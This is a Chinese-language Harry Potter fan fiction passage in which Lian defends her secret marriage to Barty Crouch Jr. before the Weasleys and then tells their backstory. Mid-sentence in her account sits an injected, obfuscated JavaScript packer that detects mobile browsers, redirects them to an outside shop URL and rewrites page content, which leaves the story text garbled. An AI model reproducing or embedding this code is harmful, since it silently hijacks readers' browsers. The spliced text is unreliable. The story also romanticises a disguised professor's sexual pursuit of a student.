他满意的说完,在一片古怪的寂静中,又补充了一句,“但我不否认我是她的丈夫,从头到尾我都是,这两年和你们在一起的、你们见过的乔希·阿克利一直都是我。” “我信任你,”哈利站在门口,他瞪着莉安,声音抖得失去了控制,“但是你却帮助他!他差点让伏地魔杀死我!” “没错,”莉安面无表情的说,“但我也是躺在他的办公室里,挣脱夺魂咒清醒时才知道前因后果的,就是他中了吐真剂的时候,他把一切都和盘托出,我才知道他到底做了什么,你可以指责我嫁给他,但你不该指责我这一点。” 一瞬间,所有人都震惊到失语,这时,罗恩突然壮着胆子问了一句,“莉安,好表姐,我能知道你是怎么帮他越狱的吗?是什么咒语?我很好奇!” “罗恩!”赫敏狠狠的瞪了他一眼。 “他要是做什么恐怕早就做了,”罗恩也不甘示弱的看着她,“你忘了有一次去霍格莫德的时候,我们甚至当面谈论过他!” 穆迪似乎是想冲上来,但莉安对所有人举起了魔杖。 “别过来,魔法部已经被控制了,别想着把他送进阿兹卡班,”她厉声说道,“他能逃出去,我也是,这不是第一次了,别犯傻!” 莫丽作了好一番努力才转向赫敏,艰难的问,“你知道多久了?” “没多久,”赫敏低声说,“那次在霍格莫德,我看到他用无杖魔法,比奇洛还厉害…还有上次在医疗翼,比尔受伤时,莉安特意说过,她不在乎,现在想想,她是不在乎他食死徒的身份…” 莉安标记了穆迪和卢平,小巴蒂这个咒语学得比她还深一层,他标记了唐克斯和哈利还有芙蓉,几个人感觉自己被绳子绑住了似的动弹不得。 “你们这是要干嘛?”亚瑟很快冷静下来,“他不是说他是凤凰社的人吗?这种事肯定撒不了谎的,问问阿不福思就可以,莉安,你先放开他们——” “每次来陋居,你有一百次机会可以杀了我,”哈利愤恨的看着小巴蒂,“我甚至有许多次单独和你在一起,你为什么不结果了我?” “别管食死徒的心态,”穆迪粗暴的说,“亚瑟你还等什么?快点把他俩击昏!” “砰!”莉安的魔杖末端爆发出蛇一样的带子,并且自动缠绕在穆迪的嘴、手腕和脚踝上,他失去平衡,倒在地板上,不能动了。 唐克斯怒吼一声,但是小巴蒂的魔杖直指她的双眼之间。 这时,小天狼星一瘸一拐的穿过房间,张开手臂搂住了几个孩子,“莉安救了我,我不认为她是故意想要获得我的信任,因为那是下意识的反应,还有穆迪,你别再怀疑了,她冒着暴露的风险救你,在这里接受众人的指责,又能获得什么呢?何况跟你一组才是最危险的,她想逃避,只需要让小克劳奇告诉伏地魔,他一开始就会来追我和哈利,然后把我们干掉。” 穆迪愤怒的唔唔几声,但他说不出话来。 “你太激动了,穆迪,你需要冷静,”莉安轻声的说,“我当然不是凤凰社的叛徒,我知道你恨他,他把你装在箱子里快十个月,但你好好想一想这件事的前因后果就会明白,不是我和他做的,还有,你也说过,邓布利多总是愿意给别人第二次机会。” “我为什么要结果了你?波特,我告诉你吧,”小巴蒂舔了舔嘴角,发疯一般的大笑,“因为邓布利多没让我结果你,而我的妻子愿意帮助你,为你的救世牺牲她的性命。” “还有,我再说一次,最后一次,不是我出卖的情报,是斯内普,”小巴蒂的脸正在变形,他似乎完全失去了耐心,“信不信由你们,失陪了。” “这的确有可能是斯内普干的,”小天狼星说,“你们是不是忘了杀死邓布利多的人是谁?乔治的耳朵又是谁干的?” 莉安的魔杖末端冒出几粒火花,魔杖指着突然靠近她的比尔,“别过来,不然——” “不然你要做什么?”比尔平静的问,“这就是你突然分手的原因?怪不得…怪不得第三场比赛那天我去霍格沃茨看你,假穆迪马上就把你带走了,那么急切…想来他是怕你看见我,你会回心转意…我全都明白了。” “你住嘴!”芙蓉尖叫道。 “你真是疯了…”莫丽不可置信的看着莉安,喃喃的说,“你说过你对假穆迪不是对父亲的感情,你说过十六年前是他闯进了你的房子…” “因为那是对一个男人的感情,我爱他!”莉安摇着头,失控的大喊道,“我爱他!我一直都爱着他!我当然不会去指控他的!我更不可能回心转意!我爱他!比尔,你明明知道我的床头一直贴着他的照片!你还不能明白吗?” “但我以为你是在用仇人的照片提醒自己,”比尔忧郁的望着她,“我想象不到你会爱上他。” “我以为他死了…可是他没有!不…我不能…我不能再失去他!”莉安挥舞着魔杖,她看上去完全失控了,“谁也不能阻止我!不!邓布利多也不行!” 小巴蒂只好把她的头按在自己怀里,轻轻抚摸她的头发,另一只手仍然用魔杖控制着被标记的几人。 “我想你们还记得小克劳奇当时给莉安送魔药吧?”赫敏看到她这副癫狂的样子,对乔治和弗雷德小声说,“是罗恩跟我说的,也是这件事让我怀疑,他实在是太关心她了,已经超过了一个教授对学生的关注。” “是啊,算算时间…”乔治慢吞吞的说。 “那时她已经怀孕了,”弗雷德郁闷的说,“那是他的孩子,他当然关心。” 金妮突然堵住了门。 “当他再次出现的时候,我想过放弃,因为我不能把普威特的责任置之不顾,可是我不行…我骗不了自己,我真的爱他,”莉安在小巴蒂温柔的抚摸中逐渐冷静下来,她又举起魔杖,低低的说,“让开吧,金妮,今天谁也不能阻止我带他回家。” “我是觉得,何必闹得这么难看呢?”金妮轻轻的说,“既然他是凤凰社的人——” “但是有人不相信,”小巴蒂不屑的撇了撇嘴,“我不想杀人,莫丽,你明白的,我们相处了两年,如果我想干什么,就像波特说的…” 莫丽一脸痛惜的看着莉安,眼泪噼里啪啦的往下掉,“都怪我,是我没早点把她接到身边…” “我不需要了!”莉安大声对他们嚷道,“我过得很好!你们都知道的!我很幸福!这是我这辈子最开心的时光,如果你们真的为我好,就不会再怀疑他的身份!还要我们说几遍!” “我看你是真的疯了…疯了…”卢平震惊的几乎说不出话来,好久才结结巴巴的说,“怪不得…怪不得圣诞节的时候,提起小克劳奇你那么激动…” “唐克斯都能喜欢你,我怎么了?难道他会比变身的狼人还可怕?”莉安强词夺理道,“我不想伤害你们任何人,而且黑魔头对我也没有手下留情,这还不能说明什么吗?够了…我说真的,够了!” “让他们走吧,”比尔疲惫的说,“就这样吧。” “可是…”莫丽眼泪汪汪的看着他,又望望去意已决的侄女。 “他们还有三个孩子,”亚瑟叹了口气,“已经两年了,小克劳奇在我们这里潜伏了两年,如果他真的对神秘人说了什么,我们还会站在这里吗?” “从乔希·阿克利的身份来说,他的确是个好丈夫。”弗雷德说。 “从穆迪的身份来说,他也是个不错的教授,”乔治说,“很酷,他玩弄马尔福的时候。” “但是他想杀了哈利!”赫敏激烈的说。 “噢,但是现在不想了,格兰杰,”小巴蒂挑了挑眉毛,漫不经心的说,“你可以否认一切,但你不能否认我的能力,是谁教会你如何对抗黑魔法?是谁教波特抵抗夺魂咒?看斯内普那个德行,连个大脑封闭术都没教会波特吧?” 赫敏被他怼得说不出话来。 因为他说的是事实。 金妮动了动身体,让开位置,小巴蒂拥着莉安往门口走去,路过哈利身边时,莉安掏出一张羊皮纸条,郑重的递给他。 “邓布利多很清楚他的身份,也是他让我们不遗余力的帮助你,”莉安低声说,“为了弥补他做过的错事,我们本来不想说的,因为这是一张暗牌,但赫敏很聪明,就这样吧…” 她叹了口气,“这是我房子的位置,我是保密人,比陋居更安全,如果你有需要的话…” 顿了顿,莉安不再说话了,只是解除了标记,跟着她的丈夫穿过漆黑一片的花园,幻影移形离开了陋居。 33. 讲述 回到普威特祖宅时,天都已经亮了,兰斯和洛特正骑着儿童扫帚,在门口冲进冲出,他们低低的飞着,脚轻轻掠过沾着露水的青草。 这时,他们看见了自己的父母,立刻从房子里冲出来,差点把莉安迎面撞倒。 “哎哟!”莉安揉着腰,“这两个小坏蛋!” “妈妈!”兰斯嗷嗷叫着,在扫帚上对她张开手臂,“妈妈,快!” 莉安愁眉苦脸的把兰斯从扫帚上抱起来,果不其然,那灵活的小手马上抓在了她的头发上。 “我真不明白,咱们一家子头发颜色不是都差不多吗?怎么每次他都这么兴奋?” “他只是喜欢玩儿罢了,就是手欠。”小巴蒂一针见血的说,抱起了撅着嘴委委屈屈的洛特,他一直盯着他母亲的胸口。 莉安注意到他这个眼神,嘴角抽了抽,“这孩子…怎么还跟妹妹抢食物呢?” “他像我,不止是眼睛像,”小巴蒂恬不知耻的说,“这下你可以光明正大的告诉别人你的两个孩子姓克劳奇,而不是见鬼的阿克利了,你应该是克劳奇夫人,但是这几年别人都喊你普威特女士。” “暂时不可以,”莉安忧心忡忡的说,“我跟黑魔头打了一架,虽然他差点儿把我杀了,但估计我已经在他那里挂上号了吧?他居然想杀死我和穆迪再追哈利。” “你说得对,这个问题其实也很容易解决,只要说你中了我的夺魂咒就好,像皮尔斯·辛克尼斯那样,”小巴蒂摸着下巴思忖道,“不过这的确有暴露的风险,所以还需要亲爱的再忍耐一些时间,除了凤凰社的人,别人还是不能知道你的丈夫到底是谁。” “你说莫丽他们会原谅我吗?”莉安叹了口气,抱着孩子进了客厅,她沮丧极了,连儿子做出各种古灵精怪的表情也没能让她开心一点儿,“我一直觉得赫敏很聪明,她也隐隐约约有察觉我们不太对劲,但我真的没想到她会认为我是叛徒。” “她认为我是叛徒,而你在传递情报,其实也没错,”小巴蒂毫不在意的说,“只是她想错了立场,我才是食死徒里的叛徒,你在传递情报给凤凰社。” “那斯内普干嘛要出卖真实的情报呢?”莉安愤怒的喊道,“他是不是完全倒向黑魔头了,甚至切掉了乔治的耳朵!” “如果他完全倒向伏地魔,他就不会说一半留一半,这是他取信于人的计划,他应该还是邓布利多的人,可能他还有更重要的工作,”小巴蒂也皱着眉,不停思索,“他跟我不一样,你懂我的意思——他不是那块料——魔法部,这才是我的战场,邓布利多的部署是让我蚕食伏地魔在魔法部的势力,我是他的心腹,所以我行事不需要很隐蔽,并且很方便,等魔法部沦陷后,我就会忙一些。” “至于斯内普,他的战场是霍格沃茨,我们两个除了知道彼此的身份之外,并不清楚对方的计划是什么,不过邓布利多可没说让我给他背锅——当然,就算他说了,我也不可能背锅,既然有人怀疑我,那我肯定会把斯内普卖掉,至于他那边会不会受到影响,不关我事。” 顿了顿,他又补充道,“而且我看波特挺讨厌他的,甚至是憎恨,那么再多几个罪名,斯内普恐怕也不会介意的,我上学的时候,经常看他和波特的爸爸大打出手,可怜的波特,他居然真的以为他爸爸詹姆斯·波特和西里斯·布莱克是霸凌者,他们的确有可能是,但我得说句公道话,那是互殴,互相霸凌,斯内普只是大多数时候打不过才显得有点儿可怜,而且他并不是一个人,他们的小团体里有埃弗里和穆尔塞伯,他们同样横行霸道,欺凌其他学院的学生,斯内普这个家伙发明了许多恶咒,所以斯内普被吊着打的时候没有人阻拦,所有人都在笑,因为这些咒语被用在了他自己身上,波特的爸爸和布莱克有点替天行道的意味,他们压根不想阻拦詹姆斯·波特。” “我不关心这个,斯内普让我恶心,”莉安嫌恶的撇了撇嘴,“我只关心乔治的耳朵。” “神锋无影有反咒,回头我问一下斯内普。” “他会告诉你吗?” “那我手段可就多了去了,比如在伏地魔面前给他上眼药,或者派几个渣滓去干预霍格沃茨的管理事项,让他的计划受阻…反正收拾他很简单,”小巴蒂嗤笑一声,“他不告诉我更好,反正他不信任我,我给他捣乱也在情理之中,何况他喂了我那么多吐真剂,不报复他,这是我的性格吗?他肯定在提心吊胆,估计晚上睡觉都得睁着一只眼睛。” 他散漫的耸了耸肩,“我就偷了一点儿魔药材料罢了,他居然这么对我,要知道我可是他的小伙伴,但他根本不顾大家一起做食死徒的情分,而且他也躲过了第一次清算,所以他一定是坚定的邓布利多的人。” “不说他了,”莉安厌烦的挥了挥手,把兰斯交给一旁仔细盯着她的赫洛,她嘴角抽了抽,望着自己的小精灵,“你这是什么意思?” “我在看我那差点让我变成野妖精和让我的小少爷变成孤儿的主人。”赫洛用空灵的声音吟唱一般的说。 小巴蒂实在憋不住,神经病一样大笑出声,他怀中的洛特举手气愤的拍了拍他的脸,又指了指莉安的胸口。 “噢!你现在怎么这么会说话,”莉安无奈的呻吟着,“我这不是没事儿吗?快去陪你的少爷玩!” “遵命,我那像她父亲一样玩命的主人。”赫洛不能反抗她的命令,但那眼神仿佛恨不得扑上来咬她一口似的,她鞠了一躬,抱着兰斯摇摇晃晃的走开了。 莉安刚松了口气,把洛特搂进怀里,这时,闪闪很有眼色的把莎莫递了过来。 她感觉自己的脸都在冒热气,只好不自在的指挥她,“闪闪,你去做饭,兰开夏火锅,康沃尔馅饼——芜菁牛肉口味,土豆卷心菜泥,熏三文鱼。” 闪闪倒是没讽刺她什么,但是她会阴阳怪气小巴蒂。 “女主人,我觉得这个菜单很耳熟,”她尖声尖气的说,“芜菁牛肉是我的巴蒂少爷最喜欢的馅饼口味呢,难道是我的巴蒂少爷今天要回家吗?两位小主人都快想死他了。” 说完,她突然眯起了网球一样的大眼睛,像模像样的打量了一会儿小巴蒂,用很不走心的惊讶语气感叹道,“哎呀,好像是我的巴蒂少爷回来了,天呐,都是闪闪的错,是闪闪没认出来,真是太久没见了——” 这话说得怨气十足,空气里一股浓浓的尴尬,小巴蒂的下嘴唇抖动着,他在牙缝里挤出一句话。 “我都从霍格莫德回来一个月了,你还念叨这件事,你不烦吗闪闪?你最近怎么跟我母亲似的?小精灵也有更年期?” “闪闪不知道更年期,但是您的母亲的确交代我要好好照顾你,”闪闪摇了摇头,耳朵啪啪的扇动着,“但是少爷也在玩命,而且就算你回来了也总是不在家,甚至有几个晚上女主人都应付不过来,毕竟两个小少爷实在是太活泼了…” “好了好了,别说他了,我真的饿了,昨晚到现在我们都没吃饭,”莉安打了个圆场,“闪闪你快去吧,让伊夫去花园里盯着房子外面,一旦有人试图寻找我的房子就马上通知我。” “知道了,女主人,闪闪是个好家养小精灵,闪闪听主人的话。” 说完,闪闪那两个灯泡大的眼睛又望了望小巴蒂,叹了口气,也蹒跚着走了。 等伊夫离开了房子,莉安才如释重负的揉揉太阳穴,小巴蒂立刻帮她解开了领口。 “别这么惯着他,巴蒂,”莉安无奈的看着伏在自己胸口上的两个小脑袋,用商量的语气说,“兰斯就从来不会这样…” “等莎莫吃辅食的时候就可以给他断了,”小巴蒂说,“你要接受孩子们的性格和思想可能跟你期盼的不一样,他们不是套在一个标准的模板里就能成为好孩子的。” “你这是歪理,莉安拒绝了他的洗脑包,“何况我也没打算对他做什么,我是觉得这种纵容的行为不对。” “但是他还小,你要教他懂事,最起码要两三岁,耐心点。”小巴蒂温柔的哄劝道。 莉安叹息一声,喃喃的说,“三岁时我没了母亲,四岁时又没了父亲,之后姑妈就像我的母亲一样,她肯定很难过,我伤了她的心。” “莫丽不是认为你伤了她的心,而是她感觉很自责,如果她早一点接你去陋居,你就不会遇到我了,”小巴蒂的表情有些古怪,“但是这样我们就不会有故事了,你不会喜欢上我。” “这也怪不了她,那个时候,金妮刚出生两个月,而罗恩也才一岁半,她肯定很忙,你没有怪过她吧?” “没有,我当然不会怪她,毕竟我又不是她的责任,”莉安怔怔的看着他,“我不能想象我没有遇见你的那种人生,我也不敢想,我觉得那并不是我想要的,如果不曾遇到你,可能会有其他食死徒闯进我的房子,然后斩草除根。” 小巴蒂沉默了一瞬,因为他知道她是对的。 其他食死徒绝对会杀了她,让普威特这个家族彻底消亡,而只有年纪最小的他才会抱着取乐的心态,顽劣的捉弄她一下,然后再悄悄离开她的房子。 “也许再过不久,莫丽就会来找你了,就像她对珀西那样,哭哭啼啼的想跟你谈谈,希望你们能和好,让你回陋居去。” “我可做不到像珀西那样当着她的面重重的把门关上,甚至把她亲手织的圣诞套头衫也退回去,”莉安一左一右的用手臂托着两个孩子,神情柔和,“我知道是我的不对,而且他们只是暂时没办法接受你的身份,但是只要仔细想一想,你没变过,对他们来说,一直都是乔希·阿克利,我想他们会明白的。” 她的目光转向窗外,盯着房子外那条小街。 十六年前,在那个雨水几乎快要倒灌进房子里的雷雨夜,她看到了独自一人行走在街道上的身影,他穿着兜帽长袍,浑身上下湿漉漉的,离她和她的房子越来越近… 她一直趴在窗户上看着他,她知道他不会注意到自己——房子有保护咒,然后赫洛说,“小主人,我们回去吧,该睡觉了。” 她点点头,跳下窗台,边走边吹蜡烛。 她想,也许吹到最后一根的时候,他也不会发现她,发现这个房子,但是她愿意留着一根蜡烛,一抹光亮,不仅仅是为了他,也是为了自己。 她没有试图呼唤他,因为他们只是陌生人,她也不指望他会听到她的祈祷,走进她的房子,因为她一直都像一个被抛弃的漂流者,所以当她在荒岛的高处瞥见一艘帆船时,她并不想点燃火堆——因为以前见过太多这样的船,所以不想让希望再次破灭。 当他粗暴的闯进来,击昏她的小精灵,朝她走来时,她看着他越来越近,把她抱起来,她知道她已经原谅了他,尽管所有的决心都与此相反——他是个坏人,她应该憎恨他。 当年她不知道这是什么感觉,因为这是一种恐慌、愤怒、希望和期望杂糅的感觉,以至于在她忍不住想要扬起嘴角的那一刻,她就猛然发现自己不能表现得太高兴了,她试图通过想一些悲伤的事来压抑住笑容,始终面无表情的看向他。 第二天醒来他是不是不见了,或者因为她没有在他醒来之前醒来,对他说希望他留下而让他失望了,这些都无关紧要,他们就像放了对方两小时鸽子的人又遇见了,然后像多年未见的恋人那样继续相处——就像什么都没发生过,他从未离开过那样。 她想让自己不在乎他的亲吻,因为只要她不抱任何希望,不用绞尽脑汁的思索如何把他带进自己的生活,不用担心他的安危,她就能享受他的陪伴,在每个夜里被他抱着,和他一起欢笑,然后在毕业的时候离开他。 她曾经,甚至在那时她就悲哀的知道自己像一个瘾君子,她决心戒除毒瘾,只是为了可以偶尔享受一次而不用担心上瘾,但是他先是来到她身后,在她耳边低语些什么,她能感觉到他的呼吸在自己的脖子上盘旋,然后他轻轻靠近她的嘴唇,粗暴的把她压在办公室的窗户上,冰冷的玻璃抵着她的后背,臀部贴在一起——她感觉到这是一个他想要对她求欢的明示,这不是暗示,因为他压根没打算说什么,没打算给她装作听不懂从而拒绝他的机会。 他不会让她戒掉他的,永远,永远。 她怀中一空,他拿走了两个孩子。 “闪闪做好饭了,走吧,吃完我们再去睡会儿觉,也许这两天还有许多事情要做。” 小巴蒂猜得不错,因为当第二天两人一觉起来时,伊夫立刻敲了敲门,然后走进卧室,递给他们一封信。 “小姐,不是那只老猫头鹰,而是一只像是得了狂躁症的很小的猫头鹰送来的。”伊夫哑着嗓子说。 “噢,那是罗恩的小猪。”莉安接过了那封信,翻来翻去的看着,手有些抖——她拿不准要不要拆开它,她怕里面那张羊皮纸上写的东西不是她想看到的。 小巴蒂的长腿懒洋洋的一勾,她立刻郁闷的倒在了床上,他从她手里拿过那封信,干脆了当的打开了它。 “没有你想的那么糟糕,”小巴蒂一目十行的看完,“查理回来了,他邀请你去陋居,说想跟你谈谈,德拉库尔夫妇要来了,婚礼会如期举行。” “看来芙蓉原谅了比尔,”莉安松了口气,“我真的很担心,要是他们因为我——” “芙蓉那个性格,不会甘心被人打败,”小巴蒂懒懒的说,“她想证明自己会过得比你好,并且放弃比尔是你的错误,但是就算你后悔了,比尔也不会再跟你发生什么,因为他已经有了她——我猜是这样,但真相也差不了多少。” “那我可太高兴了,如果有必要,我愿意装出一副痛哭流涕的样子,只求她消气,安稳的和比尔过日子,”莉安说,“但是查理…我不知道查理是什么意思…” “查理是韦斯莱家唯二没有对我们的事发表意见的人,另一个是珀西,但是我想珀西的态度你肯定能猜到,我压根就没把他放在眼里,”小巴蒂继续说道,“查理代表了莫丽和亚瑟的立场,你不明白吗?他们在暗示,只要你给他们一个合理的解释,好好的谈一下我们之间的经过,他们就会接受了,因为之前我们的态度太强硬了,很多人不能理解。” “那我们要去陋居吗?” “去,当然去,我不能让你众叛亲离,何况查理的意思是,他们忙不过来,要招待德拉库尔夫妇,要准备波特的成年生日宴,还有比尔的婚礼,现在大家都忙得团团转,”说话间,小巴蒂已经站起身,从衣柜里拿出套头衫和黑色火龙皮夹克外套,“走吧亲爱的,估计我们要面对的不是查理一个人。” 莉安绷紧了脸皮,不知道要用什么表情面对他们才好,她一向不是个爱说爱笑的人,只有跟小巴蒂在一起时候,她脸上的表情才会生动许多。 只有他能让她笑得最真切。 也只有他能让她泪水流干。 小巴蒂瞥了她一眼就知道她在想什么,又从衣柜里翻出来热裤和一件绘着星球的黑色短上衣给她。 “这个也太…”莉安穿上后,盯着自己露出来的一截小腹,嘴角不停抽搐着。 “很辣,我喜欢。” 莉安瞪了他片刻,最终没有反对,她不想因为一点小事跟他计较,在蹬上一双和小巴蒂那双靴子差不多的短靴后,她终于后知后觉的反应过来。 “你不喝复方汤剂了?” 顿了顿,她又轻轻的说,“这样也好,巴蒂,变形的感觉太难受了,我真希望以后你都不再喝它。” “当然,以后都不用喝了,格兰杰也算做了件好事。” 小巴蒂看了看仍然在睡觉的女儿,牵着莉安的手穿过客厅,准备去保护咒外面幻影移形。 两人来到花园里时,就看到兰斯骑着扫帚在溜赫洛,赫洛在后面大喊“兰斯少爷”,而洛特蹲在草地上,正拿着乔治和弗雷德送来的戏法魔杖戳一只绿色的大肉虫,那虫子蠕动着膨胀起来,很快就有香肠那么大了。 莉安连忙把头撇了过去,这时,闪闪匆匆跑到他身边,差点把虫子踩爆,气得洛特对她嗷嗷大叫。 “坏!闪闪!坏!” 莉安:……给我这个不爱说话的儿子急得都开始说话了。 “对不起,小少爷!是闪闪的错,闪闪帮你把把它变成气球那么大好不好?” 莉安立刻挽住小巴蒂的手臂,语气中带着浓浓的急切,“快!我们快走!” 小巴蒂呲着一口白牙放声大笑。 “哈哈哈哈哈!哎哟——我们这就走!” 被莉安狠狠的拧了一下手臂内侧的肉后,小巴蒂立刻带着她随从显形了,于是两人迅速旋转起来。 像是被挤在一个厚厚的橡皮管子里,身体的每一个部位都遭受着挤压,在窒息之前,无形的管子突然迸裂开来,他们站在陋居的花园中,新鲜的、带着花香的气息扑在他们脸上。 莉安从没见过陋居的院子这么整洁,平常散落在后门台阶上的锈坩埚和旧雨靴都不见了,取而代之的是两株新栽在大盆里的振翅灌木,门的两边各放一盆,虽然没有风,但叶子悠闲的舞动着,形成一种迷人的、微波涟漪的效果。 鸡都关起来了,院子也清扫过了,近旁的花园都修剪装扮一新,不过少了平常那些跳来跳去和克鲁克山打闹的地精,显得有点冷清。 门里突然有人在大声叫喊。 “莉安,是莉安!” “姑妈,是我。” 莫丽穿过客厅,扑进莉安怀里,“噢!莉安!” “我还以为你不会来了,”她擦着眼泪说,“他们都认为你肯定生气了,包括我,但亚瑟说你不会的,你不会像珀西那样…” “当然不会,我还怕你生气呢,”莉安帮她擦了擦眼泪,“查理回来了?” “是啊,本来是明天回来的,”莫丽慌乱的说,“但是昨天比尔给他写信说了你们的事,查理就连夜赶回来了…” 这时,其他的人也来到了门口,赫敏正在探头探脑,她的克鲁克山朝着一个在一盆振翅灌木后面若隐若现的地精冲了过去。 查理一边朝他们走过来,一边无可奈何的摸着他那新剪的、短得惨不忍睹的头发——这绝对是莫丽的杰作,她想剪比尔的头发很久了,但是比尔一直拒绝,她只能拿查理开刀——老实孩子就是听话。 查理的个子比罗恩矮一点,和莉安差不多高,他体格粗壮,但肌肉结实的胳膊上那些灼伤和挠伤的痕迹又多了一些。 “莉安,一切都好吧?” “就像信里说的,一切都好。” 两人默契的用拳头推了推彼此。 “我信你,”查理笑了起来,转头打量小巴蒂,“虽然已经在信里听到过很多次了,但这还是我第一次见到你的丈夫呢。” “他也很好,对我很好。” “是啊,”查理说,“我听他们说过了,你很勇敢的劫狱,这太格兰芬多了。” “格兰芬多的勇敢不是用在这里的。”哈利说。 “今天她敢为了她的丈夫劫狱,明天也敢为了我们这些人劫狱,”查理扭头看着哈利,压低了声音,“听完她的故事再评论也不迟。” 一瞬间所有人都朝莉安和小巴蒂望去,莫丽紧张兮兮的说,“我们先进去吧,好吗?别在门口堵着,十一点德拉库尔夫妇就要来了。” 过了片刻,所有人在客厅里坐下来了,面对哈利三人组、小天狼星、韦斯莱家除了珀西之外所有人灼灼的目光,莉安突然有点心慌,她无助的看向丈夫。 “十六年前,为了寻找失踪的伏地魔的踪迹,在一个打雷下雨的夜晚,我为了避雨,打破了普威特的保护咒,进到她的房子里烤火——” 小巴蒂刚开了个头,就被小天狼星打断了。 “你怎么知道普威特祖宅的位置?” “吉迪恩·普威特是傲罗,他的住址在法律执行司有记录,托我父亲的福,我正好清楚祖宅的位置,那天晚上,这是离我最近的房子。” “然后呢?”比尔问,芙蓉撅嘴瞪着他,又把目光转向莉安,莉安实在摆不出痛哭流涕的懊悔模样,吭哧瘪肚了半天,最后脸上露出一个像是坐在好友病床边的表情。 但是芙蓉看起来很满意的样子。 “然后我陪她度过了那个夜晚,她害怕打雷,”小巴蒂淡淡的瞥了他一眼,“普威特兄弟是在伏地魔失踪前的两个月牺牲的,如果我猜的没错,我是第一个在吉迪恩死后,她害怕时陪伴她的人。” 莉安点了点头。 “我没对她做什么,只是逗她玩,显然,她也很喜欢跟我玩,我知道她的名字,她不知道我的,她没办法告诉你们我是谁,第二天一大早我就离开了她的房子。” “然后我在亚瑟的报纸上看到了他的名字,他入狱了,所以我把那张照片剪了下来,一直贴在我的床头,这样每个雷雨夜他都可以陪着我了,”莉安的声音闷闷的,“但是1982年传来了他的死讯,我很难过,可我也没办法告诉任何人,之后我经常在陋居生活,那个时候是比尔一直照顾我,唉,我没办法,我知道莫丽肯定不会同意的…这样也好…” “嗯?谁是知情者?”罗恩茫然的问。 “只有你和爸爸不是,金妮有没有发现我不知道。”弗雷德说。 “还有那个蠢驴珀西,”乔治说,“他不关注我们,只爱魔法部,你知道的。” “我应该是发现了,但我认为那可能是我的错觉。”金妮说。 “爸爸太忙,但我为什么没有发现?”罗恩更茫然了。 “因为你只有一茶匙的感情,罗恩。”赫敏尖刻的说。 “去!”罗恩变得很沮丧。 “我没有骗你,比尔,我再次遇到他是三年前的魁地奇世界杯,”莉安满怀歉意的看着比尔和哈利,“接下来的话可能跟你们了解的不一样,尤其是你,哈利,他即使喝了吐真剂也没有说实话——至少不是全部的实话,大脑封闭大师可以抵抗吐真剂,只是他当时太虚弱了,才会被套出伏地魔的计划。” 她握住丈夫的手,清了清嗓子,“那些食死徒在营地作乱时,比尔去帮部里的忙,而我钻进了树林里,我遇到了闪闪——其实我一直都觉得闪闪很古怪,因为克劳奇的帐篷就在我的帐篷旁边,她的举动就像跟一个看不见的人搏斗似的,而且在看比赛时,他就披着隐形衣坐在我后面,比尔说了我的名字,他认出了我,然后他碰了我,这让我起疑,所以当我再次看到闪闪的时候,我心里突然有一些模模糊糊的念头闪过,但我想不到他根本没死,直到我听到了他念咒的声音——黑魔标记,我认出了他的声音,他和闪闪被击昏后,我跪在那片灌木丛里摸索,然后我找到他了。” “不是克劳奇先生找到他的吗?”哈利很震惊。 “不是,是我,”莉安摇了摇头,“我听到了部里官员的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727499|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怕他被抓走,所以我抱着他随从显形了,我们回到了我的帐篷里,然后我让我的小精灵通知比尔,顺便接收这件事后续的消息,我带着他回了祖宅。” “然后他一直住在你那里吧?”比尔说,“那几天,我觉得你有些古怪,看上去很疲惫,我以为是你训练累坏了身体。” “也差不多,因为他在教导我对抗黑魔法,”莉安脸有些红,但她极力想要掩饰,“那时候,我发现我是喜欢他的,知道他还活着,再也没有比这更让我高兴的事了。” “那他跟伏地魔怎么回事?”小天狼星问,“哈利跟我说,是伏地魔让他潜伏进霍格沃茨…” “开学前两天晚上我回了我父亲的房子,他正好由虫尾巴抱着上门来找我,”小巴蒂给他解惑,“莉安不知道这件事,因为从那之后我就没再回去,伏地魔带着我去了里德尔老宅——波特见过,就是墓地那片山上的大宅子,那是伏地魔父亲的家,我们在那里制定了一天的计划,然后开学那天早上,我跟虫尾巴去制服穆迪,因为动静有点儿大,把亚瑟和迪戈里引来了,我把垃圾箱弄得绕着院子转圈,对亚瑟说我听到有人闯进了院子,使垃圾箱转了起来,亚瑟没发现什么,不过这浪费了一点儿时间,所以开学的晚上我迟到了,我很不高兴,因为那晚在打雷,莉安不喜欢这个天气,她肯定想要我陪着。” “再然后呢?”亚瑟摸着胸口,感觉有点儿喘不上气来。 “然后我对穆迪施了夺魂咒,从他口里套出来不少普威特兄弟的机密信息,刚开学的时候,那天我在玩卢修斯的儿子,把他变成了一只白鼬,莉安跑来看热闹,这时麦格也来了,对我说了一些莉安的情况,于是我对她用了一个混淆咒,让她记得,是她把莉安引荐给我的,其实她压根没这么做。” 听到“玩卢修斯的儿子”,双胞胎哈哈大笑,哈利也忍不住了,脸皮抽搐着,强忍笑意。 “然后呢?你们在一起了?”赫敏问。 “没有,哪有这么快,她总是拒绝我,”小巴蒂没好气的说,“她一直想做傲罗,把我当成她的敌人,但我知道她心里是喜欢我的,不然她不会救我,甚至在救了我之后立刻就把被解雇的闪闪也抓了回来,闪闪知道我的秘密,她就让闪闪继续做我的小精灵,避免她被神奇动物管理控制司的人抓去用吐真剂盘问,我也知道莉安身上有很多责任,这让她喘不过气来,有时候父母的荣光对子女反而是一种压迫,就像我父亲对我那样。” “再然后呢?”罗恩迫不及待的问,“你们怎么在一起的?” “我一直耐心的教导她——以穆迪的身份,我引导她好好考虑清楚,她到底想要的是什么,我不希望她被普威特兄弟所影响,一直不肯面对她的内心,那阵子,她一直魂不守舍,她担心失踪的我可能是死掉了,或者被抓走了,她已经慢慢开始接受她心底真实的想法了——她爱我,但是发生了一件事,她又变了。” “是我的那封信?”比尔若有所思。 “什么信?”芙蓉突然变得很警觉。 “比尔祝贺我成为勇士的信。”莉安回答道。 